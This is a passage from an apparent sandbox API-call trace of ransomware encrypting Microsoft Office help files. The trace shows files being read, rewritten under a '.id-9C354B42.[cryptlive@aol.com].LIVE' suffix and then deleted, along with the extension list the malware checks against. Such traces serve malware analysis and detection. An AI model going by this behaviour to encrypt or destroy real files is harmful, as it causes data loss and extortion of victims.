(lpString=".ppt") returned 4 [0146.868] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString=".zip") returned 4 [0146.868] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".rar") returned 4 [0146.868] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".bz2") returned 4 [0146.868] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.868] lstrlenW (lpString=".7z") returned 3 [0146.868] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString=".dbf") returned 4 [0146.868] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString=".1cd") returned 4 [0146.868] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString=".jpg") returned 4 [0146.868] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.868] lstrlenW (lpString=".doc") returned 4 [0146.868] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.868] lstrlenW (lpString=".docx") returned 5 [0146.868] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.868] lstrlenW (lpString=".pdf") returned 4 [0146.868] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".xls") returned 4 [0146.868] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".xlsx") returned 5 [0146.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.869] lstrlenW (lpString=".ppt") returned 4 [0146.869] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.869] lstrlenW (lpString=".zip") returned 4 [0147.178] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0147.178] lstrlenW (lpString=".rar") returned 4 [0147.178] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0147.178] lstrlenW (lpString=".bz2") returned 4 [0147.178] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0147.178] lstrlenW (lpString=".7z") returned 3 [0147.178] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0147.179] lstrlenW (lpString=".dbf") returned 4 [0147.179] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0147.179] lstrlenW (lpString=".1cd") returned 4 [0147.179] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0147.179] lstrlenW (lpString=".jpg") returned 4 [0147.179] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0147.179] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.179] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0147.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.217] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0147.217] CloseHandle (hObject=0x38c) returned 1 [0147.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 0x20 [0147.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.308] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.308] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.400] GetLastError () returned 0x0 [0147.400] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0147.403] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.404] ReadFile (in: hFile=0x3d4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.404] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0147.404] SetEndOfFile (hFile=0x380) returned 1 [0147.404] CloseHandle (hObject=0x380) returned 1 [0147.404] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.404] SetEndOfFile (hFile=0x3d4) returned 1 [0147.406] CloseHandle (hObject=0x3d4) returned 1 [0147.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 1 [0147.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".doc") returned 4 [0147.408] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.408] lstrlenW (lpString=".docx") returned 5 [0147.408] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.408] lstrlenW (lpString=".pdf") returned 4 [0147.408] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString=".xls") returned 4 [0147.408] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString=".xlsx") returned 5 [0147.408] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.408] lstrlenW (lpString=".ppt") returned 4 [0147.408] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".zip") returned 4 [0147.408] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString=".rar") returned 4 [0147.408] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString=".bz2") returned 4 [0147.408] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.408] lstrlenW (lpString=".7z") returned 3 [0147.408] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".dbf") returned 4 [0147.408] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".1cd") returned 4 [0147.408] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".jpg") returned 4 [0147.408] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.408] lstrlenW (lpString=".doc") returned 4 [0147.408] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.408] lstrlenW (lpString=".docx") returned 5 [0147.409] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.409] lstrlenW (lpString=".pdf") returned 4 [0147.409] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.409] lstrlenW (lpString=".xls") returned 4 [0147.409] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.409] lstrlenW (lpString=".xlsx") returned 5 [0147.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.409] lstrlenW (lpString=".ppt") returned 4 [0147.409] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.409] lstrlenW (lpString=".zip") returned 4 [0147.409] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.409] lstrlenW (lpString=".rar") returned 4 [0147.409] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.409] lstrlenW (lpString=".bz2") returned 4 [0147.409] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.409] lstrlenW (lpString=".7z") returned 3 [0147.409] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.409] lstrlenW (lpString=".dbf") returned 4 [0147.409] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.409] lstrlenW (lpString=".1cd") returned 4 [0147.409] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0147.409] lstrlenW (lpString=".jpg") returned 4 [0147.409] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.409] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0147.410] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0147.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.424] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=631) returned 1 [0147.424] CloseHandle (hObject=0x394) returned 1 [0147.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 0x20 [0147.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.612] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.612] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.613] GetLastError () returned 0x0 [0147.613] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x277, lpOverlapped=0x0) returned 1 [0147.642] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x280, lpOverlapped=0x0) returned 1 [0147.643] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.643] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0147.643] SetEndOfFile (hFile=0x3d0) returned 1 [0147.643] CloseHandle (hObject=0x3d0) returned 1 [0147.645] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.645] SetEndOfFile (hFile=0x1ec) returned 1 [0147.647] CloseHandle (hObject=0x1ec) returned 1 [0147.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 1 [0148.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.027] lstrlenW (lpString=".doc") returned 4 [0148.027] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.027] lstrlenW (lpString=".docx") returned 5 [0148.027] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.027] lstrlenW (lpString=".pdf") returned 4 [0148.027] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.027] lstrlenW (lpString=".xls") returned 4 [0148.027] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.027] lstrlenW (lpString=".xlsx") returned 5 [0148.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.027] lstrlenW (lpString=".ppt") returned 4 [0148.027] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.027] lstrlenW (lpString=".zip") returned 4 [0148.027] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".rar") returned 4 [0148.028] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".bz2") returned 4 [0148.028] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.028] lstrlenW (lpString=".7z") returned 3 [0148.028] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString=".dbf") returned 4 [0148.028] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString=".1cd") returned 4 [0148.028] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString=".jpg") returned 4 [0148.028] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString=".doc") returned 4 [0148.028] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.028] lstrlenW (lpString=".docx") returned 5 [0148.028] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.028] lstrlenW (lpString=".pdf") returned 4 [0148.028] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".xls") returned 4 [0148.028] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".xlsx") returned 5 [0148.028] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.028] lstrlenW (lpString=".ppt") returned 4 [0148.028] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.028] lstrlenW (lpString=".zip") returned 4 [0148.028] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".rar") returned 4 [0148.028] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.028] lstrlenW (lpString=".bz2") returned 4 [0148.028] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.029] lstrlenW (lpString=".7z") returned 3 [0148.029] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.029] lstrlenW (lpString=".dbf") returned 4 [0148.029] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.029] lstrlenW (lpString=".1cd") returned 4 [0148.029] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0148.029] lstrlenW (lpString=".jpg") returned 4 [0148.029] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.029] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0148.029] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0148.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.037] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7438482) returned 1 [0148.037] CloseHandle (hObject=0x3a8) returned 1 [0148.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0x20 [0148.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.038] lstrlenW (lpString=".doc") returned 4 [0148.038] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.038] lstrlenW (lpString=".docx") returned 5 [0148.038] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0148.038] lstrlenW (lpString=".pdf") returned 4 [0148.038] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.038] lstrlenW (lpString=".xls") returned 4 [0148.038] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.038] lstrlenW (lpString=".xlsx") returned 5 [0148.038] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0148.038] lstrlenW (lpString=".ppt") returned 4 [0148.038] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.038] lstrlenW (lpString=".zip") returned 4 [0148.038] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.038] lstrlenW (lpString=".rar") returned 4 [0148.038] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.038] lstrlenW (lpString=".bz2") returned 4 [0148.038] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.038] lstrlenW (lpString=".7z") returned 3 [0148.038] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString=".dbf") returned 4 [0148.039] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString=".1cd") returned 4 [0148.039] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString=".jpg") returned 4 [0148.039] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString=".doc") returned 4 [0148.039] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.039] lstrlenW (lpString=".docx") returned 5 [0148.039] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0148.039] lstrlenW (lpString=".pdf") returned 4 [0148.039] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString=".xls") returned 4 [0148.039] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString=".xlsx") returned 5 [0148.039] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0148.039] lstrlenW (lpString=".ppt") returned 4 [0148.039] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.039] lstrlenW (lpString=".zip") returned 4 [0148.039] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString=".rar") returned 4 [0148.039] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.039] lstrlenW (lpString=".bz2") returned 4 [0148.039] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.039] lstrlenW (lpString=".7z") returned 3 [0148.040] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.040] lstrlenW (lpString=".dbf") returned 4 [0148.040] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0148.040] lstrlenW (lpString=".1cd") returned 4 [0148.040] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.040] lstrlenW 